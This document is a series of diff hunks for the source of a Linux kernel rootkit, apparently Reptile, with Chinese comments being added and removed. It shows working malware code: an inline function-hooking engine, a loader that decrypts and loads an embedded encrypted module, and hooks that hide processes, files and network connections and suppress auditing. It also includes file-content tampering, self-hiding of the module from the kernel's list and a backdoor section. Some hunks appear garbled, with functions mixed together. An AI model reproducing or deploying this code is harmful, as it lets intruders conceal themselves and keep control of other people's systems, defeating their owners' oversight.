In engine.c, all hooks are allocated to the .data.khook section.
The above script means that all contents of .data.khook are placed in the .data section.
The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end.
These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end.

@ -20,11 +20,6 @@ extern khook_t KHOOK_tbl_end[];
#define KHOOK_FOREACH_HOOK(p) \
for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
/*
* STUB
* STUBstub.incstub32.incstub
*
*/
typedef struct {
#pragma pack(push, 1)
union {

@ -1,3 +1,4 @@
//内核中实现x86架构下的函数钩子hook
#include "../internal.h"
////////////////////////////////////////////////////////////////////////////////
@ -6,19 +7,11 @@
#include <asm/insn.h>
/*
* typeof GCC
*
*
*/
static struct {
typeof(insn_init) *init;
typeof(insn_get_length) *get_length;
} khook_arch_lde;
/*
* insn_init insn_get_length
*/
//初始化长度解析引擎
static inline int khook_arch_lde_init(void) {
khook_arch_lde.init = khook_lookup_name("insn_init");
if (!khook_arch_lde.init) return -EINVAL;
@ -26,12 +19,7 @@ static inline int khook_arch_lde_init(void) {
if (!khook_arch_lde.get_length) return -EINVAL;
return 0;
}
/*
* p
* insn_initinsn
* get_lengthinsnlength
*/
//获取指令长度
static inline int khook_arch_lde_get_length(const void *p) {
struct insn insn;
int x86_64 = 0;
@ -48,43 +36,37 @@ static inline int khook_arch_lde_get_length(const void *p) {
}
////////////////////////////////////////////////////////////////////////////////
//插入跳转指令
// place a jump at addr @a from addr @f to addr @t
static inline void x86_put_jmp(void *a, void *f, void *t)
{
*((char *)(a + 0)) = 0xE9; //跳转指令的Opcode
*(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算
*((char *)(a + 0)) = 0xE9;
*(( int *)(a + 1)) = (long)(t - (f + 5));
}
static const char khook_stub_template[] = {
# include KHOOK_STUB_FILE_NAME
};
//修复函数钩子中的占位符,
static inline void stub_fixup(void *stub, const void *value) {
while (*(int *)stub != 0xcacacaca) stub++;
*(long *)stub = (long)value;
}
/*
*
* 使
* 便
*/
//初始化单个钩子
static inline void khook_arch_sm_init_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
// 跳转指令的第一个字节是0xE9或0xCC表示已经被hook过了
if (hook->target.addr[0] == (char)0xE9 ||
hook->target.addr[0] == (char)0xCC) return;
BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
stub_fixup(stub->hook, hook->fn);
while (stub->nbytes < 5)
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转
memcpy(stub->orig, hook->target.addr, stub->nbytes);
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
if (hook->flags & KHOOK_F_NOREF) {
x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
} else {
@ -92,11 +74,7 @@ static inline void khook_arch_sm_init_one(khook_t *hook) {
}
hook->orig = stub->orig; // the only link from hook to stub
}
/*
*
*
*/
//清理单个钩子
static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
memcpy(hook->target.addr_map, stub->orig, stub->nbytes);

@ -1,3 +1,4 @@
//内核模块的初始化
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/module.h>
@ -9,7 +10,6 @@
#include "encrypt.h"
// 定义 SYS_INIT_MODULE 宏,用于生成 "sys_init_module" 字符串
#define SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(16); \
@ -20,7 +20,6 @@
(char *)p; \
})
// 定义 __DO_SYS_INIT_MODULE 宏,用于生成 "__do_sys_init_module" 字符串
#define __DO_SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(24); \
@ -33,44 +32,35 @@
(char *)p; \
})
// 包含 parasite_blob.inc 文件中的数据
static char parasite_blob[] = {
#include "parasite_blob.inc"
};
// 内核符号表查找函数的回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
return !!(data[1] = addr);
}
return 0; // 未找到匹配的符号返回0
return 0;
}
// 查找符号表中的符号地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
return data[1]; // 返回找到的符号地址
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
}
/*
* init_modulesys_init_module
* ksym_lookup_name
*/
int init_module(void)
{
int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
// 解密 parasite_blob 数据
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
// 查找 sys_init_module 函数的地址
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
if (!sys_init_module)
@ -80,21 +70,16 @@ int init_module(void)
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
// 找到 parasite_blob 中的空字符
while (*nullarg)
nullarg++;
// 设置用户地址空间的最大值
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
user_addr_max() = seg; // 恢复用户地址空间的最大值
user_addr_max() = seg;
}
return ret;
}
/*
*
*/
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y");

@ -1,3 +1,4 @@
//加载所需模块
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>

@ -11,7 +11,7 @@
int hidden = 1;
/* ------------------------ 隐藏进程 ------------------------- */
/* ------------------------ HIDE PROCESS ------------------------- */
#ifdef CONFIG_HIDE_PROC
@ -25,7 +25,7 @@ static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags);
if (!ret && is_task_invisible(current))
p->flags |= FLAG; // 如果任务不可见,设置标志
p->flags |= FLAG;
return ret;
}
@ -35,7 +35,7 @@ static void khook_exit_creds(struct task_struct *p)
{
KHOOK_ORIGIN(exit_creds, p);
if (is_task_invisible(p))
p->flags &= ~FLAG; // 如果任务不可见,清除标志
p->flags &= ~FLAG;
}
KHOOK(audit_alloc);
@ -44,7 +44,7 @@ static int khook_audit_alloc(struct task_struct *t)
int err = 0;
if (is_task_invisible(t)) {
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 如果任务不可见,清除系统调用审计标志
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT);
} else {
err = KHOOK_ORIGIN(audit_alloc, t);
}
@ -58,7 +58,7 @@ struct task_struct *khook_find_task_by_vpid(pid_t vnr)
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr);
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current))
tsk = NULL; // 如果任务不可见且当前任务可见返回NULL
tsk = NULL;
return tsk;
}
@ -68,7 +68,7 @@ static int khook_vfs_statx(int dfd, const char __user *filename, int flags, stru
u32 request_mask)
{
if (is_proc_invisible_2(filename))
return -EINVAL; // 如果进程不可见,返回无效参数错误
return -EINVAL;
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask);
}
@ -77,7 +77,7 @@ KHOOK_EXT(long, sys_kill, long, long);
static long khook_sys_kill(long pid, long sig) {
if (sig == 0) {
if (is_proc_invisible(pid)) {
return -ESRCH; // 如果进程不可见,返回无此进程错误
return -ESRCH;
}
}
@ -88,7 +88,7 @@ KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *);
static long khook___x64_sys_kill(const struct pt_regs *regs) {
if (regs->si == 0) {
if (is_proc_invisible(regs->di)) {
return -ESRCH; // 如果进程不可见,返回无此进程错误
return -ESRCH;
}
}
@ -101,7 +101,7 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it
if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG))
break; // 跳过不可见任务
break;
iter.tgid++;
}
@ -113,14 +113,17 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it
#endif
/* ------------------------- 隐藏目录 --------------------------- */
/* ------------------------- HIDE DIR --------------------------- */
#ifdef CONFIG_HIDE_DIR
#include <linux/dcache.h>
#include "dir.h"
/* 这些钩子有点问题,但它们能工作,也许将来会改进 */
/* Can you see a little problem on those hooks? This is not the best
* way to do this feature, but I am going to keep it this way, after all,
* this is just a public project, isn't it?
*/
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
@ -198,7 +201,7 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
}
#endif
/* --------------------- 文件内容篡改 --------------------- */
/* --------------------- FILE CONTENT TAMPERING --------------------- */
#ifdef CONFIG_FILE_TAMPERING
@ -207,7 +210,7 @@ struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
atomic_t read_on;
int file_tampering_flag = 0;
// 这不是最好的方法,但它有效,也许将来会改进
// This is not the best way to do that, but it works, maybe in the future I change that
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
size_t count, loff_t *pos)
@ -228,7 +231,7 @@ static ssize_t khook_vfs_read(struct file *file, char __user *buf,
#endif
/* ------------------------ 隐藏连接 ------------------------- */
/* ------------------------ HIDE CONNECTIONS ------------------------- */
#ifdef CONFIG_HIDE_CONN
@ -314,7 +317,7 @@ out:
#endif
/* ----------------------------- 后门 ----------------------------- */
/* ----------------------------- BACKDOOR ----------------------------- */
#ifdef CONFIG_BACKDOOR
#include <linux/netdevice.h>
@ -332,7 +335,7 @@ static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct pack
#endif
/* ------------------------------ 通用 ----------------------------- */
/* ------------------------------ COMMON ----------------------------- */
#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR)
#include <linux/binfmts.h>
@ -349,7 +352,7 @@ static int khook_load_elf_binary(struct linux_binprm *bprm)
}
#endif
/* ------------------------------- 控制 ----------------------------- */
/* ------------------------------- CONTROL ----------------------------- */
#include <linux/net.h>
#include <linux/in.h>
@ -446,9 +449,10 @@ static int __init reptile_init(void)
int ret;
#ifdef CONFIG_FILE_TAMPERING
/* 不幸的是,我需要使用这个来确保在某些内核版本中
* khook
* vfs_read
/* Unfortunately I need to use this to ensure in some kernel
* versions we will be able to unload the kernel module when
* it is needed. Otherwise khook may take a really huge delay
* to unload because of vfs_read hook
*/
atomic_set(&read_on, 0);
#endif
@ -470,11 +474,6 @@ static void __exit reptile_exit(void)
#ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule();
#endif
#ifdef CONFIG_HIDE_CONN
network_hide_cleanup();
#endif
khook_cleanup();
}

@ -1,103 +1,40 @@
#include <linux/module.h> // 包含 Linux 内核模块的头文件
#include <linux/mutex.h> // 包含互斥锁的头文件
#include <linux/slab.h> // 包含内存分配的头文件
//内核模块隐藏
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include "module.h" // 包含自定义模块的头文件
#include "module.h"
/**
* @file module.c
* @brief
*
*
*/
/**
* @brief 10
*/
//int hide_m = 0;
int flag_hide_m = 0;
int flag_show_m = 1;
/**
* @brief
*/
int hide_m = 0;
static struct list_head *mod_list;
/**
* @brief
*
* 使
*/
void hide(void);
/**
* @brief
*
* 使
*/
void show(void);
/**
* @brief
*
*
*/
void hide_module(void);
void hide(void)
{
// 尝试获取模块互斥锁如果失败则让CPU放松
while (!mutex_trylock(&module_mutex))
cpu_relax();
// 判断模块是否可见,并设置模块隐藏标志
if(flag_hide_m == 0 && flag_show_m == 1)
{
flag_hide_m = 1;
flag_show_m = 0;
// 保存当前模块列表的前一个条目
mod_list = THIS_MODULE->list.prev;
// 从模块列表中删除当前模块
list_del(&THIS_MODULE->list);
// 释放模块的段属性
kfree(THIS_MODULE->sect_attrs);
// 将模块的段属性设置为NULL
THIS_MODULE->sect_attrs = NULL;
// 释放模块互斥锁
mutex_unlock(&module_mutex);
}
hide_m = 1;
}
void show(void)
{
// 尝试获取模块互斥锁如果失败则让CPU放松
while (!mutex_trylock(&module_mutex))
cpu_relax();
// 判断模块是否隐藏,并设置模块可见标志
if(flag_show_m == 0 && flag_hide_m == 1)
{
flag_show_m = 1;
flag_hide_m = 0;
// 将模块重新添加到模块列表中
list_add(&THIS_MODULE->list, mod_list);
// 释放模块互斥锁
mutex_unlock(&module_mutex);
}
hide_m = 0;
}
void hide_module(void)
{
// 如果模块当前可见,则隐藏模块
if (flag_hide_m == 0 && flag_show_m == 1)
if (hide_m == 0)
hide();
// 如果模块当前隐藏,则显示模块
else if (flag_hide_m == 1 && flag_show_m == 0)
else if (hide_m == 1)
show();
}

@ -1,92 +1,79 @@
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/inet.h> // 包含网络地址转换相关的头文件
#include <linux/netlink.h> // 包含Netlink相关的头文件
#include <linux/inet_diag.h> // 包含网络诊断相关的头文件
//网络地址隐藏
#include <linux/version.h>
#include <linux/inet.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include "network.h" // 包含自定义的network.h头文件
#include "string_helpers.h" // 包含自定义的string_helpers.h头文件
#include "network.h"
#include "string_helpers.h"
// 添加一个隐藏的网络连接
void network_hide_add(struct sockaddr_in addr)
{
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
struct hidden_conn *hc;
hc = kmalloc(sizeof(*hc), GFP_KERNEL); // 分配内核内存
hc = kmalloc(sizeof(*hc), GFP_KERNEL);
if (!hc) // 如果内存分配失败
return; // 直接返回
if (!hc)
return;
hc->addr = addr; // 将传入的地址赋值给hidden_conn结构体的addr成员
list_add(&hc->list, &hidden_conn_list); // 将hidden_conn结构体添加到隐藏连接列表中
hc->addr = addr;
list_add(&hc->list, &hidden_conn_list);
}
// 移除一个隐藏的网络连接
void network_hide_remove(struct sockaddr_in addr)
{
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
{
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { // 如果找到匹配的地址
list_del(&hc->list); // 从列表中删除该节点
kfree(hc); // 释放内存
break; // 退出循环
}
}
}
void network_hide_cleanup(void)
{
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
}
// 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr)
{
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
struct hidden_conn *hc;
list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) // 如果找到匹配的地址
return 1; // 返回1表示地址被隐藏
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr)
return 1;
}
return 0; // 返回0表示地址未被隐藏
return 0;
}
/*
unsigned int _inet4_pton(char *src)
{
unsigned int dst; // 定义一个无符号整数用于存储转换后的地址
int srclen = strlen(src); // 获取源字符串的长度
unsigned int dst;
int srclen = strlen(src);
if (srclen > INET_ADDRSTRLEN) // 如果源字符串长度超过最大地址长度
return -EINVAL; // 返回无效参数错误
if (srclen > INET_ADDRSTRLEN)
return -EINVAL;
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) // 将字符串转换为网络地址
return -EINVAL; // 如果转换失败,返回无效参数错误
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0)
return -EINVAL;
return dst; // 返回转换后的地址
return dst;
}
void hide_conn(char *ip_str)
{
unsigned int ip; // 定义一个无符号整数用于存储IP地址
struct sockaddr_in addr; // 定义一个sockaddr_in结构体用于存储地址
unsigned int ip;
struct sockaddr_in addr;
if ((ip = _inet4_pton(ip_str)) > 0) { // 将字符串转换为IP地址
addr.sin_addr.s_addr = ip; // 将IP地址赋值给sockaddr_in结构体的地址成员
if ((ip = _inet4_pton(ip_str)) > 0) {
addr.sin_addr.s_addr = ip;
if (is_addr_hidden(addr)) // 如果地址已经被隐藏
network_hide_remove(addr); // 移除隐藏的地址
if (is_addr_hidden(addr))
network_hide_remove(addr);
else
network_hide_add(addr); // 添加隐藏的地址
network_hide_add(addr);
}
}
*/

@ -1,137 +1,133 @@
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/uaccess.h> // 包含用户空间访问相关的头文件
#include <linux/ctype.h> // 包含字符类型判断相关的头文件
#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/namei.h> // 包含文件路径相关的头文件
#include <linux/limits.h> // 包含系统限制相关的头文件
//进程隐藏
#include <linux/version.h>
#include <linux/uaccess.h>
#include <linux/ctype.h>
#include <linux/slab.h>
#include <linux/namei.h>
#include <linux/limits.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/signal.h> // 包含调度和信号相关的头文件内核版本4.11及以上)
# include <linux/sched/signal.h>
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
# include "string_helpers.h" // 包含字符串辅助函数内核版本4.2以下)
# include "string_helpers.h"
#endif
#include "proc.h" // 包含自定义的proc.h头文件
// 设置或清除任务的标志
#include "proc.h"
//根据给定的进程ID (pid) 和标志位设置 (set) 来修改进程及其线程的标志位
int flag_tasks(pid_t pid, int set)
{
int ret = 0; // 返回值初始化为0
struct pid *p; // 定义pid结构体指针
int ret = 0;
struct pid *p;
rcu_read_lock(); // 获取RCU读锁
p = find_get_pid(pid); // 根据pid获取pid结构体
rcu_read_lock();
p = find_get_pid(pid);
if (p) {
struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体
struct task_struct *task = get_pid_task(p, PIDTYPE_PID);
if (task) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
struct task_struct *t = NULL;
for_each_thread(task, t) // 遍历任务的所有线程
for_each_thread(task, t)
{
if (set)
t->flags |= FLAG; // 设置标志
t->flags |= FLAG;
else
t->flags &= ~FLAG; // 清除标志
t->flags &= ~FLAG;
ret++; // 计数
ret++;
}
#endif
if (set)
task->flags |= FLAG; // 设置标志
task->flags |= FLAG;
else
task->flags &= ~FLAG; // 清除标志
task->flags &= ~FLAG;
put_task_struct(task); // 释放任务结构体
put_task_struct(task);
}
put_pid(p); // 释放pid结构体
put_pid(p);
}
rcu_read_unlock(); // 释放RCU读锁
return ret; // 返回设置或清除标志的任务数
rcu_read_unlock();
return ret;
}
// 根据pid查找任务
struct task_struct *find_task(pid_t pid)
{
struct task_struct *p = current; // 当前任务
struct task_struct *ret = NULL; // 返回值初始化为NULL
struct task_struct *p = current;
struct task_struct *ret = NULL;
rcu_read_lock(); // 获取RCU读锁
for_each_process(p) // 遍历所有进程
rcu_read_lock();
for_each_process(p)
{
if (p->pid == pid) { // 如果找到匹配的pid
get_task_struct(p); // 获取任务结构体
ret = p; // 设置返回值
if (p->pid == pid) {
get_task_struct(p);
ret = p;
}
}
rcu_read_unlock(); // 释放RCU读锁
rcu_read_unlock();
return ret; // 返回找到的任务结构体
return ret;
}
// 判断进程是否不可见
//判断指定进程号进程是否可见
int is_proc_invisible(pid_t pid)
{
struct task_struct *task; // 定义任务结构体指针
int ret = 0; // 返回值初始化为0
struct task_struct *task;
int ret = 0;
if (!pid) // 如果pid为0
return ret; // 返回0
if (!pid)
return ret;
task = find_task(pid); // 查找任务
if (!task) // 如果没有找到任务
return ret; // 返回0
task = find_task(pid);
if (!task)
return ret;
if (is_task_invisible(task)) // 判断任务是否不可见
ret = 1; // 设置返回值为1
if (is_task_invisible(task))
ret = 1;
put_task_struct(task); // 释放任务结构体
return ret; // 返回结果
put_task_struct(task);
return ret;
}
// 判断/proc目录下的进程是否不可见
//解析文件名->pid -> is_proc_invisible(pid)
int is_proc_invisible_2(const char __user *filename)
{
int ret = 0, i, argc, is_num = 1; // 初始化变量
pid_t pid = 0; // 初始化pid
char **a; // 定义字符指针数组
char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存
int ret = 0, i, argc, is_num = 1;
pid_t pid = 0;
char **a;
char *name = kmalloc(PATH_MAX, GFP_KERNEL);
if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串
if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头
strreplace(name, '/', ' '); // 替换斜杠为空格
if (strncpy_from_user(name, filename, PATH_MAX) > 0) {
if (strncmp(name, "/proc/", 6) == 0) {
strreplace(name, '/', ' ');
a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串
a = argv_split(GFP_KERNEL, name, &argc);
for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串
if (!isdigit(*a[1])) // 判断是否为数字
is_num = 0; // 设置为非数字
for (i = 0; i < strlen(a[1]); i++) {
if (!isdigit(*a[1]))
is_num = 0;
}
if (is_num) {
if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数
if (is_proc_invisible(pid)) // 判断进程是否不可见
ret = 1; // 设置返回值为1
if (kstrtoint(a[1], 10, &pid) == 0) {
if (is_proc_invisible(pid))
ret = 1;
}
}
argv_free(a); // 释放字符指针数组
argv_free(a);
}
}
kfree(name); // 释放内存
return ret; // 返回结果
kfree(name);
return ret;
}
// 隐藏进程
void hide_proc(pid_t pid)
{
if (is_proc_invisible(pid)) // 判断进程是否不可见
flag_tasks(pid, 0); // 清除标志
if (is_proc_invisible(pid))
flag_tasks(pid, 0);
else
flag_tasks(pid, 1); // 设置标志
flag_tasks(pid, 1);
}
/*

@ -1,13 +1,13 @@
#include "string_helpers.h" // 包含头文件
//获取命令行参数,转为可打印的字符
#include "string_helpers.h"
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) // 如果内核版本小于4.7.0
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)
/* stolen from lib/string_helpers.c */
#include <linux/slab.h> // 包含内核内存分配头文件
#include <linux/ctype.h> // 包含字符类型处理头文件
#include <linux/slab.h>
#include <linux/ctype.h>
// 定义各种转义标志
#define ESCAPE_SPACE 0x01
#define ESCAPE_SPECIAL 0x02
#define ESCAPE_NULL 0x04
@ -17,18 +17,16 @@
#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
#define ESCAPE_HEX 0x20
// 处理直接通过字符
static bool escape_passthrough(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = c; // 直接复制字符
*out = c;
*dst = out + 1;
return true;
}
// 处理空白字符转义
static bool escape_space(unsigned char c, char **dst, char *end)
{
char *out = *dst;
@ -36,36 +34,35 @@ static bool escape_space(unsigned char c, char **dst, char *end)
switch (c) {
case '\n':
to = 'n'; // 换行符转义为 \n
to = 'n';
break;
case '\r':
to = 'r'; // 回车符转义为 \r
to = 'r';
break;
case '\t':
to = 't'; // 制表符转义为 \t
to = 't';
break;
case '\v':
to = 'v'; // 垂直制表符转义为 \v
to = 'v';
break;
case '\f':
to = 'f'; // 换页符转义为 \f
to = 'f';
break;
default:
return false; // 不是空白字符
return false;
}
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = to; // 添加转义后的字符
*out = to;
++out;
*dst = out;
return true;
}
// 处理特殊字符转义
static bool escape_special(unsigned char c, char **dst, char *end)
{
char *out = *dst;
@ -73,93 +70,89 @@ static bool escape_special(unsigned char c, char **dst, char *end)
switch (c) {
case '\\':
to = '\\'; // \\
to = '\\';
break;
case '\a':
to = 'a'; // 响铃符转义为 \a
to = 'a';
break;
case '\e':
to = 'e'; // 转义符转义为 \e
to = 'e';
break;
default:
return false; // 不是特殊字符
return false;
}
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = to; // 添加转义后的字符
*out = to;
++out;
*dst = out;
return true;
}
// 处理空字符转义
static bool escape_null(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (c)
return false; // 不是空字符
return false;
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = '0'; // 添加转义后的字符
*out = '0';
++out;
*dst = out;
return true;
}
// 处理八进制字符转义
static bool escape_octal(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = ((c >> 6) & 0x07) + '0'; // 添加八进制字符的高三位
*out = ((c >> 6) & 0x07) + '0';
++out;
if (out < end)
*out = ((c >> 3) & 0x07) + '0'; // 添加八进制字符的中三位
*out = ((c >> 3) & 0x07) + '0';
++out;
if (out < end)
*out = ((c >> 0) & 0x07) + '0'; // 添加八进制字符的低三位
*out = ((c >> 0) & 0x07) + '0';
++out;
*dst = out;
return true;
}
// 处理十六进制字符转义
static bool escape_hex(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = '\\'; // 添加转义符
*out = '\\';
++out;
if (out < end)
*out = 'x'; // 添加十六进制标识符
*out = 'x';
++out;
if (out < end)
*out = hex_asc_hi(c); // 添加十六进制字符的高四位
*out = hex_asc_hi(c);
++out;
if (out < end)
*out = hex_asc_lo(c); // 添加十六进制字符的低四位
*out = hex_asc_lo(c);
++out;
*dst = out;
return true;
}
// 将字符串中的字符进行转义处理
int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned int flags, const char *only)
{
@ -171,15 +164,19 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned char c = *src++;
/*
* :
* - @flags %ESCAPE_NP
* - @only
* - @flags
*
* Apply rules in the following sequence:
* - the character is printable, when @flags has
* %ESCAPE_NP bit set
* - the @only string is supplied and does not contain a
* character under question
* - the character doesn't fall into a class of symbols
* defined by given @flags
* In these cases we just pass through a character to the
* output buffer.
*/
if ((flags & ESCAPE_NP && isprint(c)) ||
(is_dict && !strchr(only, c))) {
/* 不做任何处理 */
/* do nothing */
} else {
if (flags & ESCAPE_SPACE && escape_space(c, &p, end))
continue;
@ -190,7 +187,7 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
if (flags & ESCAPE_NULL && escape_null(c, &p, end))
continue;
/* ESCAPE_OCTAL 和 ESCAPE_HEX 总是最后处理 */
/* ESCAPE_OCTAL and ESCAPE_HEX always go last */
if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end))
continue;
@ -198,13 +195,12 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
continue;
}
escape_passthrough(c, &p, end); // 直接通过字符
escape_passthrough(c, &p, end);
}
return p - dst; // 返回处理后的字符串长度
return p - dst;
}
// 复制并转义字符串
char *kstrdup_quotable(const char *src, gfp_t gfp)
{
size_t slen, dlen;
@ -216,54 +212,52 @@ char *kstrdup_quotable(const char *src, gfp_t gfp)
return NULL;
slen = strlen(src);
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); // 计算转义后的长度
dst = kmalloc(dlen + 1, gfp); // 分配内存
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc);
dst = kmalloc(dlen + 1, gfp);
if (!dst)
return NULL;
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); // 转义字符串
dst[dlen] = '\0'; // 添加字符串结束符
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen);
dst[dlen] = '\0';
return dst;
}
#include "util.h"
// 复制并转义命令行字符串
char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp)
{
char *buffer, *quoted;
int i, res;
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); // 分配内存
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!buffer)
return NULL;
res = get_cmdline(task, buffer, PAGE_SIZE - 1); // 获取命令行
buffer[res] = '\0'; // 添加字符串结束符
res = get_cmdline(task, buffer, PAGE_SIZE - 1);
buffer[res] = '\0';
/* 折叠尾随的 NULL保留 res 指向最后一个非 NULL。 */
/* Collapse trailing NULLs, leave res pointing to last non-NULL. */
while (--res >= 0 && buffer[res] == '\0')
;
/* 替换参数之间的 NULL。 */
/* Replace inter-argument NULLs. */
for (i = 0; i <= res; i++)
if (buffer[i] == '\0')
buffer[i] = ' ';
/* 确保结果是可打印的。 */
quoted = kstrdup_quotable(buffer, gfp); // 转义字符串
kfree(buffer); // 释放内存
/* Make sure result is printable. */
quoted = kstrdup_quotable(buffer, gfp);
kfree(buffer);
return quoted;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
// 替换字符串中的字符
char *strreplace(char *s, char old, char new)
{
for (; *s; ++s)
if (*s == old)
*s = new; // 替换字符
*s = new;
return s;
}

@ -1,120 +1,116 @@
#include <linux/kmod.h> // 包含内核模块相关的头文件
#include <linux/kallsyms.h> // 包含内核符号表相关的头文件
#include <linux/types.h> // 包含内核类型定义的头文件
